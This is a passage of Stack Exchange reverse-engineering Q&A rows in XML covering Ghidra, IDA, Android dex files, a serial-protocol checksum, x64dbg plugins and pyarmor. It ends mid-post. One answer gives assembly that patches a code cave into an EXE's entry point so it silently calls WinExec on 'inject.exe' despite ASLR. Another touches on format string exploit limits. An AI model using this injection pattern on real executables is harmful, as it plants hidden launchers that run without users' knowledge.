  <row Id="25056" PostTypeId="1" CreationDate="2020-05-18T09:45:11.390" Score="1" ViewCount="1125" Body="&lt;p&gt;how to infer data type in ghidra decompilation result for &lt;em&gt;/usr/bin/ls&lt;/em&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kXsIz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kXsIz.png&quot; alt=&quot;data type&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30102" LastActivityDate="2023-04-27T12:02:30.330" Title="how to infer data type in ghidra decompilation result" Tags="|decompilation|ghidra|decompile|decompiler|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25057" PostTypeId="2" ParentId="25054" CreationDate="2020-05-18T10:42:27.640" Score="3" Body="&lt;p&gt;So I finally solved my problem. Here a quick explanation on how I did it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original problem was that I used &quot;fixed&quot; addresses for the &lt;code&gt;PUSH&lt;/code&gt; meaning that it &lt;em&gt;pushes&lt;/em&gt; always the same address (which should be the address of the ASCII). But ASLR randomizes the base address upon creating the EXE which means that the address becomes invalid as it points now to a totally different place than before. The workaround was to determine the address more &quot;relatively&quot; rather than absolute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main idea was to somehow get the current address (&lt;code&gt;EIP&lt;/code&gt;) and subtract a specific number from it so that now it points to the ASCII. This is possible by creating a function which is called. Every time a &lt;code&gt;CALL&lt;/code&gt; is executed the address of the next instruction will be pushed on the stack.  In this function the address is saved in &lt;code&gt;EAX&lt;/code&gt; with &lt;code&gt;POP&lt;/code&gt; and later pushed back so that the &lt;code&gt;RET&lt;/code&gt; still knows where to return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a &lt;code&gt;CALL&lt;/code&gt; after the string to retrieve the address and subtracted &lt;code&gt;10h&lt;/code&gt; from it. Now I had the address of the ASCII in &lt;code&gt;EAX&lt;/code&gt; then follows the same code as before where &lt;code&gt;WinExec&lt;/code&gt; is called only with the difference that now &lt;code&gt;EAX&lt;/code&gt; is pushed onto the stack rather than the &quot;absolute&quot; address. Before calling &lt;code&gt;WinExec&lt;/code&gt; I saved the address of &lt;code&gt;WinExec&lt;/code&gt; in &lt;code&gt;EAX&lt;/code&gt; (because the address for WinExec stays the same even with ASLR and the problem with ASLR is that the Address is going to modified and thus it won't corresponding to &lt;code&gt;WinExec&lt;/code&gt; anymore). Then I  just made a &lt;code&gt;CALL EAX&lt;/code&gt; to run &lt;code&gt;WinExec&lt;/code&gt; and the rest is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Entrypoint: JMP &amp;lt;address of the first CALL in injected code&amp;gt;&#xA;&#xA;POP EAX                               (Puts address of next instruction into EAX)&#xA;PUSH EAX                              (Copies address back to the stack so that RET knows where to go)&#xA;RET&#xA;&#xA;ASCII &quot;inject.exe&quot;&#xA;CALL &amp;lt;address of the routine above&amp;gt;   (puts address of next instruction into EAX)&#xA;SUB EAX,0x10                          (SUB EAX,&amp;lt;this number depends on the size of the executable name. Just subtract the address of this instruction with the address of the ASCII&amp;gt;)&#xA;PUSH 1&#xA;PUSH EAX&#xA;PUSH WinExec                          (Puts address of WinExec onto stack so that the address won't change because of ASLR)&#xA;POP EAX&#xA;CALL EAX                              (execute WinExec)&#xA;CALL __security_init_cookie           (replace this instruction with the instruction that will be overwritten by the JMP instruction to this code cave. In my case it's this call)&#xA;JMP &amp;lt;address of second Instruction at Entrypoint&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33258" LastEditorUserId="33258" LastEditDate="2020-05-18T15:20:45.790" LastActivityDate="2020-05-18T15:20:45.790" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25058" PostTypeId="2" ParentId="25056" CreationDate="2020-05-18T12:34:13.393" Score="1" Body="&lt;p&gt;Kevin,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I answered on your last &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/25030/how-to-decompile-usr-bin-ls&quot;&gt;question&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;open ghidra gui, analyse the binary, click on file -&gt; export program -&gt; and export as a C/C++ file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this file, ghidra constructs possible typedefs for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For e.g. &lt;code&gt;typedef unsigned char    undefined1;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you'll know the possible type of this object. In your particular case, it constructs (assuming a stripped binary):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;typedef unsigned long    undefined8;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, note that these types are just estimates and could be different than the original source code (in case of user defined functions).&lt;/p&gt;&#xA;" OwnerUserId="27674" LastEditorUserId="27674" LastEditDate="2020-05-18T12:39:17.257" LastActivityDate="2020-05-18T12:39:17.257" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25061" PostTypeId="2" ParentId="25053" CreationDate="2020-05-18T15:59:54.203" Score="2" Body="&lt;p&gt;The data you give - whatever it is - doesn't comply to Base32.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following script decodes your encoded string with Python3.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!/usr/bin/env python3&#xA;&#xA;import base64&#xA;&#xA;encoded = &quot;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&quot;&#xA;&#xA;with open(&quot;test.bin&quot;, &quot;wb&quot;) as f:&#xA;    f.write(base64.b64decode(&#xA;        encoded&#xA;        ))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... simply replace &lt;code&gt;base64.b64decode&lt;/code&gt; by a call to &lt;code&gt;base64.b32decode&lt;/code&gt; and you'll get an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  File &quot;/usr/lib/python3.6/base64.py&quot;, line 205, in b32decode&#xA;    raise binascii.Error('Incorrect padding')&#xA;binascii.Error: Incorrect padding&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Long story short: it seems to be Base64-encoded data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file test.bin &#xA;test.bin: data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... oh and one more fact corroborates this. If we insert the following line before the &lt;code&gt;with&lt;/code&gt; but after the assignment to &lt;code&gt;encoded&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(len(set(x for x in encoded)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... we get &lt;code&gt;64&lt;/code&gt; as output. So 64 distinct characters were used in the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uploading the file &lt;a href=&quot;https://www.virustotal.com/gui/file/2f686422c57a1ae0d40dce8e4a25a528854b037b55043a46111029f42e699ba1/details&quot; rel=&quot;nofollow noreferrer&quot;&gt;to VirusTotal&lt;/a&gt; yields nothing either. Usually these antimalware engines are fairly good at detecting even esoteric file types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to know what sort of data that might be you should perhaps add more context into your question or ask a new one.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2020-05-18T16:07:15.020" LastActivityDate="2020-05-18T16:07:15.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25062" PostTypeId="1" CreationDate="2020-05-19T13:04:57.233" Score="2" ViewCount="1128" Body="&lt;p&gt;For a specific Android library that I have loaded into IDA, I want to switch the THUMB/ARM mode to ARM, no matter the consequences that this is going to have to the code. Is there a way to efficiently do this in one go in IDA ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I found out that I can do it by setting a default segment register value, but that apparently works only for segments that do not have any set T value (and IDA seems to set a value by default). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found out that I can modify the T register for a specific section through the Segment Register Value window (alt+G to open it), which indeed has the effect that I want, but it going to take months to do it one by one to all sections.&lt;/p&gt;&#xA;" OwnerUserId="33271" LastActivityDate="2021-02-13T20:06:00.643" Title="IDA Pro: How to change segment register value" Tags="|ida|assembly|android|arm|section|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25063" PostTypeId="1" CreationDate="2020-05-19T14:22:41.780" Score="3" ViewCount="1729" Body="&lt;p&gt;Some Android Apks contain multiple classes.dex files which are numbered like this: classes1.dex, classes2.dex ... and when i try to decompile them it would result into multiple source codes. Is there a way to integrate them into one dex or jar file then decompile so there would be one source code in the end?&lt;/p&gt;&#xA;" OwnerUserId="26063" LastActivityDate="2020-06-18T21:23:24.100" Title="how to decompile or unite multipart dex class in an android apk file?" Tags="|android|apk|dalvik|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25064" PostTypeId="2" ParentId="25062" CreationDate="2020-05-19T18:09:39.897" Score="1" Body="&lt;p&gt;The segment register value applies from one change point until the next or end of segment, so you don't have to set it for each function, just once per segment or a contiguous ARM or Thumb chunk is enough. If you have many wrong intermediate changepoints from previous analysis, you can delete them en masse from the &quot;Jump to segment register...&quot; dialog (&lt;kbd&gt;Ctrl-G&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-19T18:09:39.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25065" PostTypeId="2" ParentId="25039" CreationDate="2020-05-19T19:36:39.440" Score="1" Body="&lt;p&gt;You can actually compile this with NASM depends on your preferred architecture, example command is below (I used  linux):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nasm -f elf64 -o ./sample.asm ./sample.o &#xA;ld -o ./sample ./sample.o &#xA;&#xA;&#xA;global _start&#xA;&#xA;section .text&#xA;&#xA;_start:&#xA;&#xA;    push    rbp&#xA;    mov     rbp, rsp&#xA;    mov     DWORD [rbp-4], edi&#xA;    mov     DWORD [rbp-8], esi&#xA;    mov     edx, DWORD [rbp-4]&#xA;    mov     eax, DWORD [rbp-8]&#xA;    add     eax, edx&#xA;    pop     rbp&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After compiling and linking, I used IDA with pseudo-code support as what @macro_controller mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BSPFr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BSPFr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vk1qz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vk1qz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23113" LastActivityDate="2020-05-19T19:36:39.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25066" PostTypeId="1" CreationDate="2020-05-19T20:20:37.130" Score="1" ViewCount="137" Body="&lt;p&gt;I'm trying to decode the protocol to control the PA amp t.amp Quadro 500 DSP (also branded as FiveO AR4).&#xA;The serial interface is provided by an PL2303 interface, Baud 57600 8N1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set volume on channel 1 I can increase from 0h00 to eg 0h3F using those commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0120 0300 15 00000000000200 00 000000000000 75 40&#xA;0120 0300 15 00000000000200 01 000000000000 74 40&#xA;0120 0300 15 00000000000200 02 000000000000 77 40&#xA;0120 0300 15 00000000000200 03 000000000000 76 40&#xA;0120 0300 15 00000000000200 2D 000000000000 58 40&#xA;0120 0300 15 00000000000200 2E 000000000000 5B 40&#xA;0120 0300 15 00000000000200 3F 000000000000 4A 40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keepalive command sent every few second:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0120 0300 17 00000000000E00 00 0000000000000000 7B 40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first 4 bytes are start bytes, the last is terminating the command and 0h15 is the command length. 0h2D-3F is the gain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I didn't get is to calculate the checksum-byte just before the end byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea how to calculate it properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;kind regards&lt;/p&gt;&#xA;" OwnerUserId="33277" LastEditorUserId="33277" LastEditDate="2020-05-20T04:32:05.830" LastActivityDate="2020-05-24T17:28:10.350" Title="t.amp Quadro 500 DSP - calculate checksum" Tags="|serial-communication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25068" PostTypeId="1" CreationDate="2020-05-19T22:48:45.160" Score="1" ViewCount="1408" Body="&lt;p&gt;Good Day!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not hit upon a solution to compare different compiled binaries for identical functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take, say, BusyBox. A very common application with a rich history and source code. Say take 3 or 4 different 'releases' of the compiled binary and run them through Ghidra. Many of the functions that were not changed should/would be identical. Those that did change will. However offsets, memory locations etc would be different. Repeating assembly code though should be close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Understandingly offsets and memory locations may change, however functions inherent within the code should be mostly identical in assembly- and knowing what was the same and what was changed would be useful to know what was there and what isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can not find however any package that does that currently- either I'm not looking for the right term or not asking the right question. Both are possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a 'function level' disassembly comparison tool out there? Or have I just not learned to use the tools I have in front of me yet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="29324" LastEditorUserId="29324" LastEditDate="2020-05-19T23:06:27.787" LastActivityDate="2020-05-23T02:25:46.830" Title="Compiled binary functional comparison through different versions / assembled functions" Tags="|disassembly|ghidra|bin-diffing|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25070" PostTypeId="1" AcceptedAnswerId="25077" CreationDate="2020-05-20T02:35:50.300" Score="7" ViewCount="997" Body="&lt;p&gt;I am working on adding a processor to Ghidra (I have no idea what I'm doing, just working my way through based off the documentation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen SleighDevTools mentioned in the 9.1 release as being &quot;support of processor module development&quot;, which sounds like it would be helpful to me. However, I can't find any documentation on what it does or how to use it. All, I've found is the source code for it in the Ghidra repo (no readme), and a single mention of it on reddit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there documentation on SleighDevTools? &#xA;If so, where is it? &#xA;If not, are there any good resources for processor development besides the official Ghidra docs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="33082" LastActivityDate="2020-08-17T18:04:51.453" Title="Is there documentation on the Ghidra 9.1 SleighDevTools?" Tags="|ghidra|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="25072" PostTypeId="1" CreationDate="2020-05-20T16:03:41.903" Score="9" ViewCount="473" Body="&lt;p&gt;I have a static library archive which I try to understand.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I use 'ar' to extract the object files.&lt;br&gt;&#xA;The object files ar &quot;ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), not stripped&quot;&lt;br&gt;&#xA;Then I use 'objdump -D' to get the assembly instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm observing the assembly listing and find some curious (to me) instructions.&lt;br&gt;&#xA;Apparently, after a branch with link (bl), R0 is moved into R3, and the next instruction moves R3 to R0.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;23c:    e1a00003        mov     r0, r3&#xA;240:    ebfffffe        bl      0 &amp;lt;atoi&amp;gt;&#xA;244:    e1a03000        mov     r3, r0&#xA;248:    e1a00003        mov     r0, r3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This happens multiple times in different object files within the archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end both R0 and R3 are set to the value of R0 when returning from the branch.&lt;br&gt;&#xA;What could be a good explanation for this behaviour?&lt;/p&gt;&#xA;" OwnerUserId="33287" LastEditorUserId="33287" LastEditDate="2020-05-20T21:33:55.950" LastActivityDate="2022-11-04T23:43:13.910" Title="Why use MOV R0, R3 and then MOV R3, R0 (thus back and forth)" Tags="|disassembly|arm|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25073" PostTypeId="1" CreationDate="2020-05-20T17:35:09.937" Score="2" ViewCount="814" Body="&lt;p&gt;I was wondering, as professional reverse engineers - what would be your &quot;must-have&quot; plug ins? Please give a brief description and say how it helps you and possible drawbacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more you can elaborate, the more it will help. I believe that due to google searches, many people will find this thread and will use it to jumpstart their x64dbg usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need topics to make the answers more specific, I am looking for plugins that&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ease malware analysis&lt;/li&gt;&#xA;&lt;li&gt;aid dynamic debugging and&lt;/li&gt;&#xA;&lt;li&gt;assist in exploit development&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One answer per plugin please.&lt;/p&gt;&#xA;" OwnerUserId="33289" LastEditorUserId="245" LastEditDate="2020-05-20T19:22:53.330" LastActivityDate="2020-05-20T19:22:53.330" Title="Recommended plugins for x64dbg" Tags="|debugging|debuggers|x64dbg|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25074" PostTypeId="2" ParentId="25019" CreationDate="2020-05-20T19:11:25.190" Score="1" Body="&lt;p&gt;After posting the question, I started to think about the difference in the libc I was using. I compiled the basic test binary again but with musl, and also saw the unexpected behavior there. This seems to be due to the &lt;code&gt;printf&lt;/code&gt; implementation in &lt;a href=&quot;https://github.com/bminor/musl/blob/master/src/stdio/vfprintf.c#L464&quot; rel=&quot;nofollow noreferrer&quot;&gt;musl&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if (isdigit(s[1]) &amp;amp;&amp;amp; s[2]=='$') {&#xA;            l10n=1;&#xA;            argpos = s[1]-'0';&#xA;            s+=3;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It only uses direct parameters if there is exactly one digit following the &lt;code&gt;%&lt;/code&gt;, followed by a &lt;code&gt;$&lt;/code&gt;. This explains why I was unable to print any larger stack offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; This seems &lt;a href=&quot;https://pubs.opengroup.org/onlinepubs/9699919799/functions/fprintf.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;standard&lt;/a&gt;-compliant:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;%n$&quot;, where n is a decimal integer in the range [1,{NL_ARGMAX}], giving the&#xA;  position of the argument in the argument list.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then, looking at &lt;a href=&quot;https://pubs.opengroup.org/onlinepubs/7908799/xsh/limits.h.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the definition&lt;/a&gt; of NL_ARGMAX:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NL_ARGMAX &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Maximum value of digit in calls to the printf() and scanf()&#xA;  functions. Minimum Acceptable Value: 9&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it appears that the implementation is indeed following the standard by allowing the minimum value of 9, which is certainly inconvenient for writing compact format string exploits.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastEditorUserId="24222" LastEditDate="2020-05-31T19:52:37.887" LastActivityDate="2020-05-31T19:52:37.887" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25075" PostTypeId="1" CreationDate="2020-05-20T20:25:22.963" Score="4" ViewCount="10016" Body="&lt;p&gt;Anyone messing around with pyarmor recently? For those of you that are unaware of what pyarmor is, its a protection software that is to help obfuscate and protect your software. Heres an image of what pyarmor looks like. Its infuriating to reverse however I think I might be onto a method for completely reversing pyarmor. Wanted to get some thoughts on this idea. (Sorry for all the screwed up images, im working on getting a hang of the markdown)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cKKNv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cKKNv.png&quot; alt=&quot;https://i.imgur.com/Q6B8dN8.png&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you unpack your python executable your left with a ton of unimportant files, however some of these files are interesting. Something that is important for the self unpacking is pytransform. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rLGjF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rLGjF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of what I was thinking is that you could call your functions normally from the included pyarmor dll as shown here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nil2A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nil2A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now whats interesting is that if you crack it open with something such as IDA you can call some of the readable functions without issue and it will return data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1iEJC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1iEJC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our dll entry point is pretty uneventful, its not packed or anything which makes our job a bit easier. It makes a simple computational check and decides whether it should end itself or to decrypt our file. Still playing around with the dll and seeing what each functions 